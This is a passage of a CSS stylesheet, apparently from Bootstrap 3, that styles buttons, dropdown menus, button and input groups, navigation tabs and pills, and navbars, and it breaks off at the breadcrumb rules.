.btn-link:focus {\n color: #777777;\n text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n padding: 1px 5px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-block {\n display: block;\n width: 100%;\n}\n.btn-block + .btn-block {\n margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n.fade {\n opacity: 0;\n -webkit-transition: opacity 0.15s linear;\n -o-transition: opacity 0.15s linear;\n transition: opacity 0.15s linear;\n}\n.fade.in {\n opacity: 1;\n}\n.collapse {\n display: none;\n}\n.collapse.in {\n display: block;\n}\ntr.collapse.in {\n display: table-row;\n}\ntbody.collapse.in {\n display: table-row-group;\n}\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n -webkit-transition-property: height, visibility;\n transition-property: height, visibility;\n -webkit-transition-duration: 0.35s;\n transition-duration: 0.35s;\n -webkit-transition-timing-function: ease;\n transition-timing-function: ease;\n}\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: 4px dashed;\n border-top: 4px solid \\9;\n border-right: 4px solid transparent;\n border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n position: relative;\n}\n.dropdown-toggle:focus {\n outline: 0;\n}\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0;\n list-style: none;\n font-size: 14px;\n text-align: left;\n background-color: #fff;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, 0.15);\n border-radius: 4px;\n -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n background-clip: padding-box;\n}\n.dropdown-menu.pull-right {\n right: 0;\n left: auto;\n}\n.dropdown-menu .divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: 1.42857143;\n color: #333333;\n white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n text-decoration: none;\n color: #262626;\n background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n color: #fff;\n text-decoration: none;\n outline: 0;\n background-color: #337ab7;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n color: #777777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none;\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n cursor: not-allowed;\n}\n.open > .dropdown-menu {\n display: block;\n}\n.open > a {\n outline: 0;\n}\n.dropdown-menu-right {\n left: auto;\n right: 0;\n}\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: 12px;\n line-height: 1.42857143;\n color: #777777;\n white-space: nowrap;\n}\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: 990;\n}\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n border-top: 0;\n border-bottom: 4px dashed;\n border-bottom: 4px solid \\9;\n content: \"\";\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n .navbar-right .dropdown-menu {\n left: auto;\n right: 0;\n }\n .navbar-right .dropdown-menu-left {\n left: 0;\n right: auto;\n }\n}\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n margin-left: -1px;\n}\n.btn-toolbar {\n margin-left: -5px;\n}\n.btn-toolbar .btn,\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n.btn-group.open .dropdown-toggle {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn .caret {\n margin-left: 0;\n}\n.btn-lg .caret {\n border-width: 5px 5px 0;\n border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n.input-group {\n position: relative;\n display: table;\n border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n}\n.input-group .form-control {\n position: relative;\n z-index: 2;\n float: left;\n width: 100%;\n margin-bottom: 0;\n}\n.input-group .form-control:focus {\n z-index: 3;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle;\n}\n.input-group-addon {\n padding: 6px 12px;\n font-size: 14px;\n font-weight: normal;\n line-height: 1;\n color: #555555;\n text-align: center;\n background-color: #eeeeee;\n border: 1px solid #ccc;\n border-radius: 4px;\n}\n.input-group-addon.input-sm {\n padding: 5px 10px;\n font-size: 12px;\n border-radius: 3px;\n}\n.input-group-addon.input-lg {\n padding: 10px 16px;\n font-size: 18px;\n border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n.input-group-btn {\n position: relative;\n font-size: 0;\n white-space: nowrap;\n}\n.input-group-btn > .btn {\n position: relative;\n}\n.input-group-btn > .btn + .btn {\n margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n z-index: 2;\n margin-left: -1px;\n}\n.nav {\n margin-bottom: 0;\n padding-left: 0;\n list-style: none;\n}\n.nav > li {\n position: relative;\n display: block;\n}\n.nav > li > a {\n position: relative;\n display: block;\n padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.nav > li.disabled > a {\n color: #777777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n color: #777777;\n text-decoration: none;\n background-color: transparent;\n cursor: not-allowed;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n background-color: #eeeeee;\n border-color: #337ab7;\n}\n.nav .nav-divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.nav > li > a > img {\n max-width: none;\n}\n.nav-tabs {\n border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n float: left;\n margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n margin-right: 2px;\n line-height: 1.42857143;\n border: 1px solid transparent;\n border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n border-color: #eeeeee #eeeeee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n color: #555555;\n background-color: #fff;\n border: 1px solid #ddd;\n border-bottom-color: transparent;\n cursor: default;\n}\n.nav-tabs.nav-justified {\n width: 100%;\n border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n float: none;\n}\n.nav-tabs.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-tabs.nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs.nav-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li > a {\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs.nav-justified > .active > a,\n .nav-tabs.nav-justified > .active > a:hover,\n .nav-tabs.nav-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.nav-pills > li {\n float: left;\n}\n.nav-pills > li > a {\n border-radius: 4px;\n}\n.nav-pills > li + li {\n margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n color: #fff;\n background-color: #337ab7;\n}\n.nav-stacked > li {\n float: none;\n}\n.nav-stacked > li + li {\n margin-top: 2px;\n margin-left: 0;\n}\n.nav-justified {\n width: 100%;\n}\n.nav-justified > li {\n float: none;\n}\n.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs-justified {\n border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs-justified > li > a {\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs-justified > .active > a,\n .nav-tabs-justified > .active > a:hover,\n .nav-tabs-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.tab-content > .tab-pane {\n display: none;\n}\n.tab-content > .active {\n display: block;\n}\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar {\n position: relative;\n min-height: 50px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n .navbar {\n border-radius: 4px;\n }\n}\n@media (min-width: 768px) {\n .navbar-header {\n float: left;\n }\n}\n.navbar-collapse {\n overflow-x: visible;\n padding-right: 15px;\n padding-left: 15px;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);\n -webkit-overflow-scrolling: touch;\n}\n.navbar-collapse.in {\n overflow-y: auto;\n}\n@media (min-width: 768px) {\n .navbar-collapse {\n width: auto;\n border-top: 0;\n box-shadow: none;\n }\n .navbar-collapse.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0;\n overflow: visible !important;\n }\n .navbar-collapse.in {\n overflow-y: visible;\n }\n .navbar-fixed-top .navbar-collapse,\n .navbar-static-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n padding-left: 0;\n padding-right: 0;\n }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n .navbar-fixed-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n max-height: 200px;\n }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n margin-right: -15px;\n margin-left: -15px;\n}\n@media (min-width: 768px) {\n .container > .navbar-header,\n .container-fluid > .navbar-header,\n .container > .navbar-collapse,\n .container-fluid > .navbar-collapse {\n margin-right: 0;\n margin-left: 0;\n }\n}\n.navbar-static-top {\n z-index: 1000;\n border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n .navbar-static-top {\n border-radius: 0;\n }\n}\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: 1030;\n}\n@media (min-width: 768px) {\n .navbar-fixed-top,\n .navbar-fixed-bottom {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0;\n border-width: 1px 0 0;\n}\n.navbar-brand {\n float: left;\n padding: 15px 15px;\n font-size: 18px;\n line-height: 20px;\n height: 50px;\n}\n.navbar-brand:hover,\n.navbar-brand:focus {\n text-decoration: none;\n}\n.navbar-brand > img {\n display: block;\n}\n@media (min-width: 768px) {\n .navbar > .container .navbar-brand,\n .navbar > .container-fluid .navbar-brand {\n margin-left: -15px;\n }\n}\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: 15px;\n padding: 9px 10px;\n margin-top: 8px;\n margin-bottom: 8px;\n background-color: transparent;\n background-image: none;\n border: 1px solid transparent;\n border-radius: 4px;\n}\n.navbar-toggle:focus {\n outline: 0;\n}\n.navbar-toggle .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n}\n.navbar-toggle .icon-bar + .icon-bar {\n margin-top: 4px;\n}\n@media (min-width: 768px) {\n .navbar-toggle {\n display: none;\n }\n}\n.navbar-nav {\n margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: 20px;\n}\n@media (max-width: 767px) {\n .navbar-nav .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n }\n .navbar-nav .open .dropdown-menu > li > a,\n .navbar-nav .open .dropdown-menu .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n .navbar-nav .open .dropdown-menu > li > a {\n line-height: 20px;\n }\n .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-nav .open .dropdown-menu > li > a:focus {\n background-image: none;\n }\n}\n@media (min-width: 768px) {\n .navbar-nav {\n float: left;\n margin: 0;\n }\n .navbar-nav > li {\n float: left;\n }\n .navbar-nav > li > a {\n padding-top: 15px;\n padding-bottom: 15px;\n }\n}\n.navbar-form {\n margin-left: -15px;\n margin-right: -15px;\n padding: 10px 15px;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);\n margin-top: 8px;\n margin-bottom: 8px;\n}\n@media (min-width: 768px) {\n .navbar-form .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .navbar-form .form-control-static {\n display: inline-block;\n }\n .navbar-form .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .navbar-form .input-group .input-group-addon,\n .navbar-form .input-group .input-group-btn,\n .navbar-form .input-group .form-control {\n width: auto;\n }\n .navbar-form .input-group > .form-control {\n width: 100%;\n }\n .navbar-form .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio,\n .navbar-form .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .navbar-form .radio label,\n .navbar-form .checkbox label {\n padding-left: 0;\n }\n .navbar-form .radio input[type=\"radio\"],\n .navbar-form .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .navbar-form .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n@media (max-width: 767px) {\n .navbar-form .form-group {\n margin-bottom: 5px;\n }\n .navbar-form .form-group:last-child {\n margin-bottom: 0;\n }\n}\n@media (min-width: 768px) {\n .navbar-form {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n -webkit-box-shadow: none;\n box-shadow: none;\n }\n}\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.navbar-btn {\n margin-top: 8px;\n margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n margin-top: 14px;\n margin-bottom: 14px;\n}\n.navbar-text {\n margin-top: 15px;\n margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n .navbar-text {\n float: left;\n margin-left: 15px;\n margin-right: 15px;\n }\n}\n@media (min-width: 768px) {\n .navbar-left {\n float: left !important;\n }\n .navbar-right {\n float: right !important;\n margin-right: -15px;\n }\n .navbar-right ~ .navbar-right {\n margin-right: 0;\n }\n}\n.navbar-default {\n background-color: #f8f8f8;\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n color: #5e5e5e;\n background-color: transparent;\n}\n.navbar-default .navbar-text {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n color: #333;\n background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n background-color: #e7e7e7;\n color: #555;\n}\n@media (max-width: 767px) {\n .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n color: #777;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #333;\n background-color: transparent;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #555;\n background-color: #e7e7e7;\n }\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #ccc;\n background-color: transparent;\n }\n}\n.navbar-default .navbar-link {\n color: #777;\n}\n.navbar-default .navbar-link:hover {\n color: #333;\n}\n.navbar-default .btn-link {\n color: #777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n color: #333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n color: #ccc;\n}\n.navbar-inverse {\n background-color: #222;\n border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n color: #fff;\n background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n color: #fff;\n background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n background-color: #080808;\n color: #fff;\n}\n@media (max-width: 767px) {\n .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n border-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n color: #9d9d9d;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n color: #fff;\n background-color: transparent;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n color: #fff;\n background-color: #080808;\n }\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n color: #444;\n background-color: transparent;\n }\n}\n.navbar-inverse .navbar-link {\n color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n color: #fff;\n}\n.navbar-inverse .btn-link {\n color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n color: #fff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n color: #444;\n}\n.breadcrumb {\n padding: 8px 15px;\n margin-bottom: 20px;\n list-style: none;\n background-color: #f5f5f5;\n border-radius: 4px;\n}\n.breadcrumb > li {\n display: inline-block;\n}\n.breadcrumb > li + li:before {\n content: \"/\\00a0\";\n padding: 0 5px;\n color: #ccc;\n}\n.breadcrumb > .active {\n color: 